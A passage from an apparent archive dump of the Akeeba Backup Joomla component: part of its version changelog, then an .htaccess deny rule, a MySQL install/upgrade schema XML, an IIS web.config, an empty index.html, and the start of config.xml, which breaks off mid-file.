# [LOW] Push messages may be untranslated strings when a backup is taken over the API or the frontend backup URL

Akeeba Backup 8.2.3
================================================================================
# [HIGH] BackBlaze B2 single file uploads were broken
# [MEDIUM] Restoration. Administrator email appears as "undefined" in the Site Setup page
# [LOW] Restoration: Wrong message about the email address when the administrator passwords don't match

Akeeba Backup 8.2.2
================================================================================
~ Changed all warnings to much more compact DETAILS elements
~ Much simpler message if you try to run Akeeba Backup on an unsupported (too low) version of PHP.
+ Allow installation on all Joomla 4 versions so you can uninstall the package in some uncommon cases
+ Option about including the latest backup in remote quotas
- Removed the PHP version warning. Joomla already warns you about EOL versions of PHP.
# [LOW] ZIP Archiver, invalid CRC32 calculated for some small files in the installation folder

Akeeba Backup 8.2.1
================================================================================
~ Better warnings about CRC32 for ZIP files on 32-bit versions of PHP
# [HIGH] Quota settings and emails are not processed at the end of the backup process

Akeeba Backup 8.2.0
================================================================================
+ ANGIE for Joomla: reset session and cache options in Site Setup
+ Support for ShowOn to conditionally show options in the Configuration page
# [HIGH] Single part uploads to Azure stopped working

Akeeba Backup 8.1.10
================================================================================
+ Upload to Swift: Support for Keystone v3
# [LOW] "Test FTP connection" button was not correctly applying the passive mode

Akeeba Backup 8.1.9
================================================================================
+ More informative error messages for database connection issues during restoration
~ Workaround for utf8_encode and _decode being deprecated in PHP 8.2
# [LOW] Restoration: You were shown separate port and socket options which were not taken into account
# [MEDIUM] Restoration: Using a custom port or socket might result in the wrong hostname being written in the restored site's configuration file
# [MEDIUM] Possible infinite loop on PHP 8 during DB restoration if a SQL file is missing
# [LOW] Invalid SQL dump if we cannot get the create commands for a function, procedure or trigger

Akeeba Backup 8.1.8
================================================================================
+ Restoration: Warn about missing mysqli / PDO MySQL and REFUSE to proceed
# [HIGH] Cannot download file from Amazon S3
# [LOW] PHP Warning when backing up a database (purely cosmetic issue)

Akeeba Backup 8.1.7
================================================================================
+ Restoration: Warn about missing mysqli / PDO MySQL and REFUSE to proceed
# [HIGH] Cannot download file from Amazon S3
# [LOW] PHP Warning when backing up a database (purely cosmetic issue)

Akeeba Backup 8.1.6
================================================================================
# [HIGH] Cannot connect to databases on localhost using the default named pipe
# [MEDIUM] Custom Amazon S3 regions would not work with custom endpoints

Akeeba Backup 8.1.5
================================================================================
+ Support for custom Amazon S3 regions
# [HIGH] Pagination in the Manage Backups page was broken

Akeeba Backup 8.1.4
================================================================================
+ Much improved FTP functions for uploading backup archives and transferring sites
+ Upload to Azure BLOB Storage now supports chunked uploads, files up to 190.7TB (up from 64Mb)
+ OneDrive for Business: you can now use Drives other than your personal
~ Stricter conditions for determining when to show the “Manage remotely stored files” button in Manage Backups
# [MEDIUM] OneDrive: Uploads may fail if they are between 4Mb and 100Mb

Akeeba Backup 8.1.3
================================================================================
+ Restoration: ANGIE now applies very high memory and execution time limits to prevent some timeout / memory outage issues on most hosts.
+ Restoration: ANGIE now warns you if you leave the database connection information empty
+ Option to set a really large PHP memory limit during backup
~ More helpful and forceful installation abortion message when you try to install this package on Joomla 4.1 or later.
# [LOW] The JPS archiver would show warnings about unreadable files when archiving directories without any files in them.

Akeeba Backup 8.1.2
================================================================================
~ Make it clearer that you need Akeeba Backup 9 on Joomla 4.
# [HIGH] Uploading to OVH is broken on many servers not using a proxy
# [HIGH] Wrong RewriteBase set up in the .htaccess Maker when restoring a Joomla site with Admin Tools Professional installed

Akeeba Backup 8.1.1
================================================================================
~ PHP 8.1 compatibility changes

Akeeba Backup 8.1.0
================================================================================
+ Allow using [REMOTESTATUS] in the email subject, not just the body
+ Joomla restoration: modify domains in the Admin Tools' Allowed Domains and server config maker features if necessary
# [HIGH] Problems restoring if a table name ends in 0 when another table with an identical name EXCEPT the trailing zero is also being backed up
# [HIGH] Backing up to SQL: indices would not have the correct table name prefix
# [HIGH] Backing up as SQL: the query for finder_taxonomy does not use the correct prefix
# [MEDIUM] Log Priorities global configuration option got mangled restoring a Joomla 4 site
# [HIGH] PHP fatal error on PHP 8 if the output directory does not exist
# [LOW] Occasional display issue on Chromium browsers with the database and file / folder filter pages.
# [LOW] RackSpace CloudFiles: some hosts change the case of HTTP headers

Akeeba Backup 8.0.15
================================================================================
+ Support for MySQL 8 invisible columns
# [LOW] Rare type error under PHP 8 during restoration
# [LOW] Backend still tries to load PieCon, causing an error to be logged

Akeeba Backup 8.0.14
================================================================================
- Remove piecon (pie graph favicon showing the backup progress)
~ JSON API: Forcibly use the ‘json’ origin everywhere
~ JSON API: Throw an error if the backup ID sent to stepBackup does not exist
~ JSON API: Improved backup IDs prevent a number of JSON API issues

Akeeba Backup 8.0.13
================================================================================
- Removed iDriveSync; the service has been discontinued by the provider.
- Removed the “Archive integrity check” feature.
~ Dropbox connector updated to require TLS v1.2
~ Improved the display of the files and folders filters page
# [LOW] Check failed backups: All Super Users were notified even when an email was supplied

Akeeba Backup 8.0.12
================================================================================
# [LOW] PHP 8 error if the output directory is empty

Akeeba Backup 8.0.11
================================================================================
~ Remove dash from automatically generated random values for archive naming
+ Increase the maximum Size Quota limit to 1Pb
+ Support for Joomla proxy configuration
# [MEDIUM] Cannot restore on PHP 8 if Two Factor Authentication is enabled in any user account
# [HIGH] Backing up to Box, Dropbox, Google Drive or OneDrive may not be possible if you are using an add-on Download ID

Akeeba Backup 8.0.10
================================================================================
# [HIGH] Uninstallation broken on Joomla 4 due to different installation script event handling (wow, they even broke components' uninstallation, not just the packages!).
# [LOW] Warning in Manage Backups page if you have deleted the backup profile used to take a backup listed there

Akeeba Backup 8.0.9
================================================================================
~ Changes in Joomla 4.0.0-RC5 broke the date and time input fields. Now using native HTML 5 controls.
# [HIGH] Uninstallation broken on Joomla 4 due to different installation script event handling.

Akeeba Backup 8.0.8
================================================================================
! Exception when you do not have the package extension installed on your site. Shouldn't happen unless you've messed with your database.

Akeeba Backup 8.0.7
================================================================================
+ Restoration: information about disabling the password protection.
~ Remove ROW_FORMAT during backup and restoration, makes it easier restoring sites using InnoDB across different MySQL server versions
~ Joomla changed the location of cacert.pem, breaking backup upload to remote storage on some servers
# [HIGH] Remote JSON API v2 fails on PHP 8
# [MEDIUM] Tables with only numbers in their names cause the backup to fail

Akeeba Backup 8.0.6
================================================================================
! Encrypted settings could not be read

Akeeba Backup 8.0.5
================================================================================
- Removed Upload to pCloud
+ Only show failed backups' log files in ALICE
+ Stealth Mode support in integrated restoration
# [MEDIUM] Backend backup may fail when using multiple profiles with different output directories.
# [LOW] MySQL spatial data might be impossible to restore if there is a collation mismatch between the origin and target server.
# [LOW] PHP 8 could still throw an error while backing up under some rare circumstances
# [LOW] Fixed fatal error while sending backup email notification under certain server configuration
# [LOW] PHP warning when the site's root is in an absolute root subdirectory (e.g. /site instead)

Akeeba Backup 8.0.4
================================================================================
# [MEDIUM] Failed backups check would show old failed backups again after visiting Akeeba Backup's Control Panel page
# [MEDIUM] Backup on Update message was never shown
# [LOW] JSON API could return additional information around the JSON content when XDebug is enabled
# [LOW] Backup on Update boolean controls appear inverted (Yes is No and vice-versa)

Akeeba Backup 8.0.3
================================================================================
~ Rewritten installer plugin
~ Converted all tables to InnoDB for better performance
# [HIGH] Cannot take split archive backups under PHP 8
# [HIGH] Backup on Update message shown to non-Super Users
# [HIGH] Latest backup restoration backend menu item didn't work
# [LOW] Annoying error message, without any real consequence, shown when clicking any feature button before checking the output folder security has completed in the background

Akeeba Backup 8.0.2
================================================================================
! Update fails on some hosts which use opcache if the any of our software's installer plugin is enabled, you have gone through the Joomla Control Panel (with the extension updates quickicon plugin enabled) or the Extensions Update page before installing the new version, either as an automatic update or by manual installation (upload & install or install from URL).
~ Will no longer uninstall FOF 3 even if it's no longer needed due to broken THIRD PARTY extensions using it.
~ Workaround for Joomla bug which may not install the included FEF version 2 framework completely, leading to the component being broken after the update.
~ Servers with opcache may report that FOF 4 classes are missing even though they are actually there.

Akeeba Backup 8.0.1
================================================================================
! Update could fail on sites with old plugins we have removed years ago still installed

Akeeba Backup 8.0.0
================================================================================
+ Rewritten with FOF 4
+ Now using FEF 2 with a common JavaScript library across all Akeeba extensions
+ Renamed ViewTemplates to tmpl (Joomla 4 convention, with fallback code for Joomla 3)
+ Yes/No options in the component and plugin options now work correctly under Joomla 4.0 beta 7 and later
# [HIGH] Dropbox for Business wouldn't work with the new scoped access tokens
# [HIGH] Dropbox refresh token would disappear after the first refresh, making it impossible to use Dropbox reliably

Akeeba Backup 7.5.2
================================================================================
+ Rewritten Backup on Update plugin for improved UX (gh-685)
+ Joomla 4: backup profile selection uses Choices.js for easier navigation among many backup profiles
~ Internals: normalised use JVERSION conditionals
~ Document Microsoft Edge “sleeping tabs” and workarounds for long-running backups in background browser tabs
~ Improved CHANGELOG layout in the Control Panel page
~ Code modernisation: using built-in random_bytes() instead of OpenSSL or mcrypt for random number generation
# [HIGH] Import from S3: you cannot select .jps files
# [MEDIUM] Frozen backups toggle wouldn't work on Joomla 4
# [LOW] Import from S3: invisible breadcrumbs in Dark Mode
# [LOW] Recommended PHP version was shown as 7.3 instead of 7.4
# [LOW] Unable to access the component on Joomla 4 when using the PDOMySQL database driver with Site Debug enabled, see https://github.com/joomla/joomla-cms/issues/32019

Akeeba Backup 7.5.1
================================================================================
+ Post-backup emails can now display the total backup size and the approximate size of each part file
# [HIGH] The Joomla 4 console plugin could not install due to a bug in Joomla 4's plugins installer code
# [HIGH] Backup failure to S3 with a PHP Type Error when the Dual Stack option has no value
# [HIGH] Uploading to Dropbox would fail if you linked your Dropbox account after December 2020
# [LOW] No list of backup files in the post-backup email when using a post-processing engine
# [LOW] Manage Remotely Stored Files actions could fail on Box, Dropbox, OneDrive and Google Drive if the access token had expired in the meantime.

Akeeba Backup 7.5.0.1
================================================================================
! [HIGH] The Backup on Update plugin can cause the site to fail to load

Akeeba Backup 7.5.0
================================================================================
- Dropped support for PHP 7.1.0
+ Dropbox is now using the scoped API access.
+ Amazon S3: Added support for Dual Stack option (use of IPv6 when available)
+ Joomla 4 CLI (joomla.php) support – full CLI client to Akeeba Backup
~ Add PHP 8.0 in the list of known PHP versions, recommend PHP 7.4 or later
~ Remove the JPS and ANGIE password fields from the Backup Now page. You can still configure these features in the backup profile's Configuration page.
# [MEDIUM] PHP 8: fatal error uploading to Amazon S3, CloudFiles
# [LOW] Using [SITENAME] in a backup archive name resulted in a single dash being output.
# [LOW] UI elements in the the Files and Folders Exclusion pages would still show native tooltips with HTML tags in them.
# [HIGH] Joomla 4 beta 6 changes how the session works, breaking everything.

Akeeba Backup 7.4.0.1
================================================================================
! Akeeba Backup Core: cannot access the plugin or take a backup because of a PHP error due to an incorrect reference to a Pro-only class.
# [LOW] Backup failure with an error if you import a profile that uses a post-processing engine created with the Pro version into the Core version which does not have this post-processing engine.

Akeeba Backup 7.4.0
================================================================================
+ Files and Directories Exclusion: mark folder and file symlinks as such [gh-676]
+ Automatically rewrite the Output Directory using site path variables such as [SITEROOT] for portability [gh-678]
+ Automatically rewrite the Off-site Folders Inclusion using site path variables for portability
+ Remote backup JSON API version 2
+ ANGIE: Added feature to resume restoring the database if an error occurs
~ Deprecated Upload to pCloud
~ Removed tooltips from Database Tables Exclusion and Files and Folders Exclusion pages to clean up the UI
~ Using nullable TIMESTAMP fields instead of zero dates
# [MEDIUM] Recent Chrome and Chromium-based browsers open OAuth2 windows without opener information, making linking to Google Drive, Dropbox etc impossible without manually copying the tokens (the button causes you to log out of the site)
# [LOW] Files and Directories Exclusion: the folder up is not clickable / doesn't do anything [gh-675]
# [LOW] Scheduling information button appears in the Configuration Wizard's finale page in the Core version

Akeeba Backup 7.3.2.1
================================================================================
! CLI backups broken in version 7.3.2
# [LOW] PHP notices from Joomla core code when running akeeba-check-failed.php in CLI

Akeeba Backup 7.3.2
================================================================================
- Removed update notifications inside the component
~ Normalized the default backup description under all backup methods (backend, frontend, CLI, JSON API)
# [HIGH] WebDAV fails to upload because of the wrong absolute URL being calculated
# [MEDIUM] The Resume and Cancel buttons in the backend backup didn't work due to a typo in the JavaScript
# [MEDIUM] Restoring a JPS backup archive through the integrated restoration was broken if it contained charactes other than a-z, A-Z, 0-9, dash, dot or underscore.
# [LOW] pCloud was erroneously listed in the free of charge Core version (it requires a paid subscription and was thus unusable)

Akeeba Backup 7.3.1
================================================================================
- Removed the System - Akeeba Backup Update Check plugin
~ Improved unhandled PHP exception error page
# [HIGH] Media query strings missing from JavaScript, causing issues to people upgrading from 7.2.2 or earlier.
# [LOW] Frontend backup URL does not work if the secret key contains the plus sign (+) character due to a PHP bug.

Akeeba Backup 7.3.0
================================================================================
+ S3: Add support for Cape Town and Milan regions
+ Inherit the base font size instead of defining a fixed one
+ Added feature to "freeze" some backup records to keep them indefinitely
- Removed support for Internet Explorer
~ Improve default header and body fonts for similar cross-platform "feel" without the need to use custom fonts.
~ Rendering improvements
~ Loading all JavaScript defered
~ Do not show the Backup on Update icon when Joomla is in record add / edit mode (main menu hidden and status bar locked).
~ Adjust size of control panel icons
~ More clarity in the in-component update notifications, explaining they come from Joomla itself
# [HIGH] Replacing (not just removing) AddHandler/SetHandler lines would fail during restoration
# [MEDIUM] Fetching back to server the archives from these provides would result in invalid archives: Amazon S3, Backblaze, Cloudfiles, OVH, Swift
# [MEDIUM] Greedy RegEx match in database dump could mess up views containing the literal ' view ' (word "view" surrounded by spaces) in their definition.

Akeeba Backup 7.2.2
================================================================================
+ Automatic UTF8MB4 character encoding downgrades from MySQL 8 to 5.7/5.6/5.5 on restoration.
# [LOW] The package would install on unsupported PHP versions 5.6 and 7.0 and Joomla 3.8, leading to errors
# [HIGH] The System - Akeeba Backup Update Check plugin throws a fatal error since version 7.1.4 when an update is available

Akeeba Backup 7.2.1
================================================================================
~ Small change in the FOF library to prevent harmless but confusing and annoying errors from appearing during upgrade
~ The following items are carried over from unpublished version 7.2.0
+ Restoration: Enable UTF8MB4 compatibility detection by default
~ Minimum requirements raised to PHP 7.1, Joomla 3.9
~ Using Joomla's cacert.pem instead of providing our own copy
~ Component Options page looks a bit nicer on Joomla 4
~ Joomla 4: fix profile selection drop-down display
# [HIGH] The restoration script can't read unquoted numeric values from the configuration.php file (used in Joomla 4)
# [HIGH] Joomla 4: Using the Smart Search filter during backup makes it impossible to use Smart Search on the restored site.
# [HIGH] Import from S3: infinite redirection loop
# [LOW] Very rare backup failures with a JS error
# [LOW] Unhandled exception page was incompatible with Joomla 4

Akeeba Backup 7.2.0
================================================================================
+ Restoration: Enable UTF8MB4 compatibility detection by default
~ Minimum requirements raised to PHP 7.1, Joomla 3.9
~ Using Joomla's cacert.pem instead of providing our own copy
~ Component Options page looks a bit nicer on Joomla 4
~ Joomla 4: fix profile selection drop-down display
# [HIGH] The restoration script can't read unquoted numeric values from the configuration.php file (used in Joomla 4)
# [HIGH] Joomla 4: Using the Smart Search filter during backup makes it impossible to use Smart Search on the restored site.
# [HIGH] Import from S3: infinite redirection loop
# [LOW] Very rare backup failures with a JS error
# [LOW] Unhandled exception page was incompatible with Joomla 4

Akeeba Backup 7.1.4
================================================================================
~ Now getting Super Users list using core Joomla API instead of direct database queries
# [LOW] Multipart upload to BackBlaze B2 might fail due to a silent B2 behavior change
# [LOW] OneDrive upload failure if a part upload starts >3600s after token issuance

Akeeba Backup 7.1.3
================================================================================
~ Got rid of the Optimize JavaScript feature.

Akeeba Backup 7.1.2
================================================================================
# [LOW] The Optimize JavaScript was not working properly on some low end servers due to the way browsers parse deferred scripts at the bottom of the HTML body

Akeeba Backup 7.1.1
================================================================================
~ Possible exception when the user has erroneously put their backup output directory to the site's root with open_basedir restrictions restricting access to its parent folder.
# [HIGH] The Optimize JavaScript option causes a missing class fatal error on Joomla! 3.8 sites
# [LOW] Missing icon in Manage Backups page, Import Archive toolbar button

Akeeba Backup 7.1.0
================================================================================
+ Automatic security check of the backup output directory
+ Automatic JavaScript bundling for improved performance
~ Improved storage of temporary data during backup [akeeba/engine#114]
~ Log files now have a .php extension to prevent unauthorized access in very rare cases
~ Enforce the recommended, sensible security measures when using the default backup output directory
~ Ongoing JavaScript refactoring
~ Google Drive: fetch up to 100 shared drives (previously: up to 10)
# [HIGH] An invalid output directory (e.g. by importing a backup profile) will cause a fatal exception in the Control Panel (gh-667)
# [MEDIUM] CloudFiles post-processing engine: Fixed file uploads
# [MEDIUM] Swift post-processing engine: Fixed file uploads
# [LOW] Send by Email reported a successful email sent as a warning
# [LOW] Database dump: foreign keys' (constraints) and local indices' names did not get their prefix replaced like tables, views etc do

Akeeba Backup 7.0.2
================================================================================
~ Log the full path to the computed site's root, without <root> replacement
~ Use Chosen in the Control Panel's profile selection page
# [HIGH] Core (free of charge) version only: the PayPal donation link included a tracking pixel. Changed to donation link, without tracking.
# [HIGH] Core (free of charge) version only: the system/akeebaupdatecheck plugin would always throw an error
# [HIGH] Restoration will fail if a table's name is a superset of another table's name e.g. foo_example_2020 being a superset of foo_example_2.
# [MEDIUM] WebDav post-processing engine: first backup archive was always uploaded on the remote root, ignoring any directory settings

Akeeba Backup 7.0.1
================================================================================
- pCloud: removing download to browser (cannot work properly due to undocumented API restrictions)
# [HIGH] An error about not being able to open a file with an empty name occurs when taking a SQL-only backup but there's a row over 1MB big
# [LOW] Schedule Automatic Backups shown in the Configuration page of the Core version
# [LOW] A secret work would not be proposed when one was not set or set to something insecure
# [LOW] The akeeba-altbackup.php and akeeba-altcheck-failed.php CRON scripts falsely report front-end backup is not enabled
# [LOW] Dark Mode: modal close icon was invisible both in the backup software and during restoration
# [LOW] Fixed automatically filling DropBox tokens after OAuth authentication

Akeeba Backup 7.0.0
================================================================================
+ Custom description for backups taken with the Backup on Update plugin
+ Remove TABLESPACE and DATA|INDEX DIRECTORY table options during backup
# [LOW] Fixed applying quotas for obsolete backups

Akeeba Backup 7.0.0.rc1
================================================================================
+ Upload to OVH now supports Keystone v3 authentication, mandatory starting mid-January 2020
# [HIGH] An error in an early backup domain could result in a forever-running backup
# [HIGH] DB connection errors wouldn't result in the backup failing, as it should be doing

Akeeba Backup 7.0.0.b3
================================================================================
+ Common PHP version warning scripts
+ Reinstated support for pCloud after they fixed their OAuth2 server
~ Improved Dark Mode
~ Improved PHP 7.4 compatibility
~ Improved Joomla 4 styling
~ Clearer message when setting decryption fails in CLI backup script
~ Remove JavaScript eval() from FileFilters page
# [HIGH] The database dump was broken with some versions of PCRE (e.g. the one distributed with Ubuntu 18.04)
# [HIGH] Site Transfer Wizard inaccessible on case-sensitive filesystems

Akeeba Backup 7.0.0.b2
================================================================================
- Removed pCloud support
+ ANGIE: Options to remove AddHandler lines on restoration
# [MEDIUM] Fixed OAuth authentication flow
# [MEDIUM] Fixed fatal error under Joomla 3.8.x

Akeeba Backup 7.0.0.b1
================================================================================
+ Amazon S3 now supports Bahrain and Stockholm regions
+ Amazon S3 now supports Intelligent Tiering, Glacier and Deep Archive storage classes
+ Google Storage now supports the nearline and coldline storage classes
+ Manage Backups: Improved performance of the Transfer (re-upload to remote storage) feature
+ Windows Azure BLOB Storage: download back to server and download to browser are now supported
+ New OneDrive integration supports both regular OneDrive and OneDrive for Business
+ pCloud support
+ Support for Dropbox for Business
+ Dark Mode support
+ Support for Joomla 4 Download Key management in the Update Sites page
+ Minimum required PHP version is now 5.6.0
~ All views have been converted to Blade for easier development and better future-proofing
~ The integrated restoration feature is now only available in the Professional version
~ The archive integrity check feature is now only available in the Professional version
~ The front-end legacy backup API and the Remote JSON API are now available only in the Professional version and can be enabled / disabled independently of each other
~ The Site Transfer Wizard is now only available in the Professional version
~ SugarSync integration: you now need to provide your own access keys following the documentation instructions
~ Backup error handling and reporting (to the log and to the interface) during backup has been improved.
~ The Test FTP/SFTP Connection buttons now return much more informative error messages.
~ Manage Backups: much more informative error messages if the Transfer to remote storage process fails.
~ The backup and log IDs will follow the numbering you see in the left hand column of the Manage Backups page.
~ Manage Backups: The Remote File Management page is now giving better, more accurate information.
~ Manage Backups: Fetch Back To Server was rewritten to gracefully deal with more problematic cases.
~ Joomla 4: The backup on update plugin no longer displayed correctly after J4 changed its template, again.
~ Joomla 4: The backup quick icon was displayed in the wrong place after J4 changed its template, again and also partially broke backwards compatibility to how quick icon plugins work.
~ Removed AES encapsulations from the JSON API for security reasons. We recommend you always use HTTPS with the JSON API.
# [HIGH] CLI (CRON) scripts could sometimes stop with a Joomla crash due to Joomla's mishandling of the session under CLI.
# [HIGH] Changing the database prefix would not change it in the referenced tables inside PROCEDUREs, FUNCTIONs and TRIGGERs
# [HIGH] Backing up PROCEDUREs, FUNCTIONs and TRIGGERs was broken
# [MEDIUM] Database only backup of PROCEDUREs, FUNCTIONs and TRIGGERs does not output the necessary DELIMITER commands to allow direct import
# [MEDIUM] PHP Notice at the end of each backup step due to double attempt to close the database connection.
# [MEDIUM] BackBlaze B2: upload error when chunk size is higher than the backup archive's file size
# [LOW] Manage Backups: downloading a part file from S3 beginning with text data would result in inline display of the file instead of download.
com_akeeba/sql/.htaccess000060400000000246152455305260011214 0ustar00<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
com_akeeba/sql/xml/mysql.xml000060400000016552152455305260012114 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<schema>
    <!-- Metadata -->
    <meta>
        <!-- Supported driver types -->
        <drivers>
            <driver>mysql</driver>
            <driver>mysqli</driver>
            <driver>pdomysql</driver>
        </drivers>
    </meta>

    <!-- SQL commands to run on installation and update -->
    <sql>
        <!-- Create the #__ak_profiles table if it's missing -->
        <action table="#__ak_profiles" canfail="0">
            <condition type="missing" value="" />
            <query><![CDATA[
CREATE TABLE `#__ak_profiles` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`description` varchar(255) NOT NULL,
`configuration` longtext,
`filters` longtext,
`quickicon` tinyint(3) NOT NULL DEFAULT '1',
PRIMARY KEY (`id`)
) DEFAULT COLLATE utf8_general_ci;
            ]]></query>
        </action>

        <!-- Insert into #__ak_profiles if id=1 is not there -->
        <action table="#__ak_profiles" canfail="1">
            <condition type="equals" operator="not" value="1"><![CDATA[
SELECT COUNT(*) FROM `#__ak_profiles` WHERE `id` = 1;
            ]]></condition>

            <query><![CDATA[
INSERT IGNORE INTO `#__ak_profiles`
(`id`,`description`, `configuration`, `filters`, `quickicon`) VALUES
(1,'Default Backup Profile','','',1);
            ]]></query>
        </action>

        <!-- Create #__ak_stats if it's missing -->
        <action table="#__ak_stats" canfail="0">
            <condition type="missing" value="" />
            <query><![CDATA[
CREATE TABLE `#__ak_stats` (
	`id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
	`description` varchar(255) NOT NULL,
	`comment` longtext,
	`backupstart` timestamp NULL DEFAULT NULL,
	`backupend` timestamp NULL DEFAULT NULL,
	`status` enum('run','fail','complete') NOT NULL DEFAULT 'run',
	`origin` varchar(30) NOT NULL DEFAULT 'backend',
	`type` varchar(30) NOT NULL DEFAULT 'full',
	`profile_id` bigint(20) NOT NULL DEFAULT '1',
	`archivename` longtext,
	`absolute_path` longtext,
	`multipart` int(11) NOT NULL DEFAULT '0',
	`tag` varchar(255) DEFAULT NULL,
	`backupid` varchar(255) DEFAULT NULL,
	`filesexist` tinyint(3) NOT NULL DEFAULT '1',
	`remote_filename` varchar(1000) DEFAULT NULL,
	`total_size` bigint(20) NOT NULL DEFAULT '0',
	`frozen` tinyint(1) NOT NULL DEFAULT '0',
	`instep` tinyint(1) NOT NULL DEFAULT '0',
	PRIMARY KEY (`id`),
	KEY `idx_fullstatus` (`filesexist`,`status`),
	KEY `idx_stale` (`status`,`origin`)
) DEFAULT COLLATE utf8_general_ci;
            ]]></query>
        </action>

        <!-- Create #__ak_storage if it's missing -->
        <action table="#__ak_storage" canfail="0">
            <condition type="missing" value="" />
            <query><![CDATA[
CREATE TABLE `#__ak_storage` (
	`tag` varchar(255) NOT NULL,
	`lastupdate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
	`data` longtext,
	PRIMARY KEY (`tag`(100))
) DEFAULT COLLATE utf8_general_ci;
            ]]></query>
        </action>

        <!-- Add the backupid column to #__ak_stats if it's missing -->
        <action table="#__ak_stats" canfail="1">
            <condition type="missing" value="backupid" />
            <query><![CDATA[
ALTER TABLE `#__ak_stats`
ADD COLUMN `backupid` varchar(255) DEFAULT NULL
AFTER `tag`
            ]]></query>
        </action>

        <!-- Add the quickicon column to #__ak_profiles if it's missing -->
        <action table="#__ak_profiles" canfail="1">
            <condition type="missing" value="quickicon" />
            <query><![CDATA[
ALTER TABLE `#__ak_profiles`
ADD COLUMN `quickicon` tinyint(3) NOT NULL DEFAULT '1'
AFTER `filters`
            ]]></query>
        </action>

        <!-- Shorten the primary key before upgrading to utf8mb4 (in Joomla! 3.5+) -->
        <action table="#__ak_storage" canfail="1">
            <condition type="utf8mb4upgrade" />
            <query><![CDATA[
ALTER TABLE `#__ak_storage` DROP PRIMARY KEY;
            ]]></query>
            <query><![CDATA[
ALTER TABLE `#__ak_storage` ADD PRIMARY KEY (`tag`(100));
            ]]></query>
        </action>

        <!-- Add the frozen column to #__ak_stats if it's missing -->
        <action table="#__ak_stats" canfail="1">
            <condition type="missing" value="frozen" />
            <query><![CDATA[
ALTER TABLE `#__ak_stats` ADD COLUMN `frozen` tinyint(1) DEFAULT '0';
            ]]></query>
        </action>

        <!-- Add the instep column to #__ak_stats if it's missing -->
        <action table="#__ak_stats" canfail="1">
            <condition type="missing" value="instep" />
            <query><![CDATA[
ALTER TABLE `#__ak_stats` ADD COLUMN `instep` tinyint(1) DEFAULT '0';
            ]]></query>
        </action>

        <!-- Change datetime fields to nullable -->
        <action table="#__ak_stats" canfail="1">
            <condition type="nullable" value="backupstart" operator="not"/>
            <query><![CDATA[
        ALTER TABLE `#__ak_stats` MODIFY `backupstart` TIMESTAMP NULL DEFAULT NULL;
        ]]></query>
            <query><![CDATA[
        UPDATE `#__ak_stats` SET `backupstart` = NULL WHERE `backupstart` = '0000-00-00 00:00:00';
        ]]></query>
        </action>

        <action table="#__ak_stats" canfail="1">
            <condition type="nullable" value="backupend" operator="not"/>
            <query><![CDATA[
        ALTER TABLE `#__ak_stats` MODIFY `backupend` TIMESTAMP NULL DEFAULT NULL;
        ]]></query>
            <query><![CDATA[
        UPDATE `#__ak_stats` SET `backupend` = NULL WHERE `backupend` = '0000-00-00 00:00:00';
        ]]></query>
        </action>

        <!-- Nuke any old record inside the ak_storage table -->
        <action table="#__ak_storage" canfail="1">
            <condition type="equals" operator="not" value="0"><![CDATA[
SELECT COUNT(*) FROM `#__ak_storage` WHERE `tag` != "lastupdate";
            ]]></condition>

            <query><![CDATA[
DELETE FROM `#__ak_storage` WHERE `tag` != "lastupdate";
            ]]></query>
        </action>

        <!-- 8.0.4 :: Convert tables to InnoDB -->
        <action table="#__ak_profiles" canfail="1">
            <condition type="equals" operator="not" value="1"><![CDATA[
SELECT COUNT(*) FROM `INFORMATION_SCHEMA`.`TABLES` WHERE (`TABLE_NAME` = '#__ak_profiles') AND (`TABLE_SCHEMA` = DATABASE()) AND (`ENGINE` = 'InnoDB');
            ]]></condition>
            <query><![CDATA[
ALTER TABLE `#__ak_profiles` ENGINE InnoDB;
            ]]></query>
        </action>

        <action table="#__ak_stats" canfail="1">
            <condition type="equals" operator="not" value="1"><![CDATA[
SELECT COUNT(*) FROM `INFORMATION_SCHEMA`.`TABLES` WHERE (`TABLE_NAME` = '#__ak_stats') AND (`TABLE_SCHEMA` = DATABASE()) AND (`ENGINE` = 'InnoDB');
            ]]></condition>
            <query><![CDATA[
ALTER TABLE `#__ak_stats` ENGINE InnoDB;
            ]]></query>
        </action>

        <action table="#__ak_storage" canfail="1">
            <condition type="equals" operator="not" value="1"><![CDATA[
SELECT COUNT(*) FROM `INFORMATION_SCHEMA`.`TABLES` WHERE (`TABLE_NAME` = '#__ak_storage') AND (`TABLE_SCHEMA` = DATABASE()) AND (`ENGINE` = 'InnoDB');
            ]]></condition>
            <query><![CDATA[
ALTER TABLE `#__ak_storage` ENGINE InnoDB;
            ]]></query>
        </action>
    </sql>
</schema>com_akeeba/sql/web.config000060400000001025152455305260011356 0ustar00<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>com_akeeba/sql/index.html000060400000000352152455305260011411 0ustar00<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<html><head><title></title></head><body></body></html>com_akeeba/config.xml000060400000031402152455305260010604 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<config addfieldpath="/administrator/components/com_akeeba/fields">
	<fieldset
			name="permissions"
			label="JCONFIG_PERMISSIONS_LABEL"
			description="JCONFIG_PERMISSIONS_DESC"
	>

		<field
				name="rules"
				type="rules"
				label="JCONFIG_PERMISSIONS_LABEL"
				class="inputbox"
				filter="rules"
				component="com_akeeba"
				section="component"/>
	</fieldset>

	<fieldset name="backend" label="COM_AKEEBA_CONFIG_BACKEND_HEADER_LABEL"
